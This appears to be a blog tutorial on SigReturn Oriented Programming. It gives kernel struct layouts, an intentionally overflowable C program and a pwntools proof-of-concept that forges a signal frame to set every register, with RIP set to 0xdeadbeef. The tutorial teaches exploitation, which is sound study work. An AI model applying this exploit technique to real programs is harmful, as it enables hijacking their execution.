SigReturn Oriented Programming
This time I gonna post about SROP on x86, x86-64 linux(ubuntu). When i solved pwnable.kr 'unexploitable' challenge, there are over 2-way solutions. one is SROP(original intend) and another is ROP. So, i just decided to post 'SROP' tech.
Surely there are differences, ROP and SROP. In short, when doing SROP, all we need is 'int 0x80;ret' and control of eax gadgets like 'pop rax'. So, using SROP instead of ROP is very comfortable in the environment where gadget rarely exists. SROP is a tech using system call called sigreturn. This tech can be used all unix system.
Then, how to call it? In unistd_32.h, #define __NR_sigreturn 119
Which means put 119 characters, call 'int 0x80', then, sigreturn will be called.
And on ARM and intel x86-64, #define __NR_sigreturn 15
And What does SigReturn work. By sequence of below structure, pop on current ESP.
- x86
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate *fpstate; unsigned long oldmask; unsigned long cr2; } | cs |
- x64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | struct ucontext { unsigned long uc_flags; ; <= rsp , from here, values will be poped struct ucontext *uc_link; stack_t uc_stack; struct sigcontext uc_mcontext; sigset_t uc_sigmask; /* mask last for extensibility */ }; typedef struct sigaltstack { void __user * ss_sp; int ss_flags; size_t ss_size; } stack_t; struct sigcontext { __u64 r8; __u64 r9; __u64 r10; __u64 r11; __u64 r12; __u64 r13; __u64 r14; __u64 r15; __u64 rdi; __u64 rsi; __u64 rbp; __u64 rbx; __u64 rdx; __u64 rax; __u64 rcx; __u64 rsp; __u64 rip; __u64 eflags; /* RFLAGS */ __u16 cs; __u16 gs; __u16 fs; __u16 __pad0; __u64 err; __u64 trapno; __u64 oldmask; __u64 cr2; struct _fpstate __user *fpstate; /* zero when no FPU context */ #ifdef __ILP32__ __u32 __fpstate_pad; #endif __u64 reserved1[8]; }; | cs |
Then, stack frame seems like...
1 2 3 4 5 6 7 8 9 | [-------------] [ STACK ] [-------------] [ FPSTATE ] [-------------] [ UCONTEXT ] [-------------] [ SIGINFO+arg ] [-------------] | cs |
And detail view of stack seems like below!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | [------------------------------------------] 0x00 [ rt_sigreturn() | uc_flags ] 0x10 [ &uc | uc_stack.ss_sp ] 0x20 [ uc_stack.ss_flags | uc_stack.ss_size ] 0x30 [ r8 -> arg5 | r9 -> arg6 ] 0x40 [ r10 -> arg4 | r11 ] 0x50 [ r12 | r13 ] 0x60 [ r14 | r15 ] 0x70 [ rdi -> arg1 | rsi -> arg2 ] 0x80 [ rbp | rbx ] 0x90 [ rdx -> arg3 | rax ] 0xA0 [ rcx | rsp -> next frame] 0xB0 [ rip -> syscall;ret | eflags ] 0xC0 [ cs(0x33)/ gs / fs | err ] 0xD0 [ trapno | oldmask (unused) ] 0xE0 [ cr2 (segfault addr) | &fpstate -> NULL ] 0xF0 [ __reserved | sigmask ] [------------------------------------------] | cs |
Let's see with example.
1 2 3 4 5 6 | #include <stdio.h> void main() { char input[4]; char gadget[] = "\x58\xc3\x90\x90\x0f\x05\xc3"; // pop rax;ret and syscall;ret read(0, input, 512); } | cs |
Tested on Ubuntu 14.04.3 & 16.10, gcc version : 4.8.4, 6.2.0 kernel version : 3.19.0-25, 4.8.0-37
GCC Compile Options : gcc -fno-stack-protector -no-pie -o srop ./srop.c
I just input 'pop rax;syscall;ret' gadgets in the binary for convenience. 0x40053b : syscall;ret, 0x400537 : pop rax;ret.
First, we need to control RIP value. RIP is at 24. I just make PoC code which shows controlling register with arbitrary values.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | from pwn import * poprax = 0x4004d0 syscall = 0x4004d4 bss = 0x6008d8 + 0x4 # x64 sigframe sigframe = p64(0x90) * 13 # uc_flags ~ uc_stack.ss_size, r8 ~ r15 sigframe += p64(0x0) # rdi -> arg1 sigframe += p64(bss) # rsi -> arg2 sigframe += p64(0x91) * 2 # rbp, rbx sigframe += p64(0xa) # rdx -> next syscall or arg3 sigframe += p64(0x92) * 2 # rax, rcx sigframe += p64(bss) # rsp sigframe += p64(0xdeadbeef) # rip sigframe += p64(0x93) # eflags sigframe += p64(0x33) # cs / gs / fs sigframe += p64(0x0) * 7 # err ~ cr2, &fstate, ... payload = p64(poprax) * 4 # rip payload += p64(0xf) # invoke sigreturn payload += p64(syscall) # call syscall payload += sigframe f = open("exploit", "w") f.write(payload) f.close() p = process('./srop-x64') p.send(payload) p.interactive() | cs |
Here is the registry status after SROP.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | [----------------------------------registers-----------------------------------] RAX: 0x92 RBX: 0x91 RCX: 0x92 RDX: 0xa ('\n') RSI: 0x6008dc --> 0x0 RDI: 0x0 RBP: 0x91 RSP: 0x6008dc --> 0x0 RIP: 0xdeadbeef R8 : 0x90 R9 : 0x90 R10: 0x90 R11: 0x90 R12: 0x90 R13: 0x90 R14: 0x90 R15: 0x90 EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0xdeadbeef [------------------------------------stack-------------------------------------] 0000| 0x6008dc --> 0x0 ... 0x00000000deadbeef in ?? () | cs |
As we expected, we can fully control registers' value!
'Security > System Hacking' 카테고리의 다른 글
[System Hacking] 8. Several System Tricks (0) | 2017.01.01 |
---|---|
[System Hacking] 7. Several Leaking & Stack Smashing Techniques (0) | 2016.12.28 |
[System Hacking] 5. Return Oriented Programming (0) | 2016.12.27 |
[System Hacking] 4. Memory Mitigations on Linux and Windows (0) | 2016.12.25 |
[System Hacking] 3. Return To Library(RTL) (0) | 2016.12.24 |